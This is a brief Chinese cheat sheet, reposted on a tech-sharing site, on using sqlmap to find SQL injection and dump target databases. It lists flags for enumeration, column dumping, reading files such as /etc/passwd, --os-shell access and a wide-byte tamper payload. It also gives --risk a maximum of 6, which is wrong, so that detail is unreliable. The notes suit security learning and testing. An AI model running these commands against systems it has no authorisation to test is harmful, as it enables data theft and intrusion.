标签：sqlmap dump python 数据库 db url 使用
使用sqlmap用dump就要进行拖K，在本地C中的sqlmap，在c盘搜索sqlmap/outpot/ip/dump/中
sqlmap的语法结构
分为免python环境的和需要python
python sqlmap.py -(u|r) "(url|text)" -p "id"
-u url
-r "text"
-p parameter "*"指定sqlmap测试数据包里的某个参数，直接加在参数值后边
--current-user #看当前用户
--threads #设置线程，默认1，最高10
--risk 风险等级 最高为6 可能影响insert update delete等语句
--level 测试等级 为3的时候就会加入永真测试语句
--current-db#查看当前数据库 --dbs #查看所有的数据库
--tables -D "db" 看指定数据库中的表
--columns -T "table" -D "db" 根据指定的库名和表名查看列
--dump -C "col1,col2,...,coln" -T "table" -D "db"
读文件
root secure_file_priv!=NULL /etc/passwd c:/windows/win.ini
写文件
root web环境的绝对路径 单双引号 secure_file_priv!=NULL
返回走http协议
--sql-shell
--os-shell
--sql-query
--os-cmd
--tamper "unmagicquotes.py" url+%df%27
--technique "ETBSU" --dbms "Mysql"
--proxy
标签：sqlmap,dump,python,数据库,db,url,使用 来源： https://www.cnblogs.com/pass-A/p/11133348.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。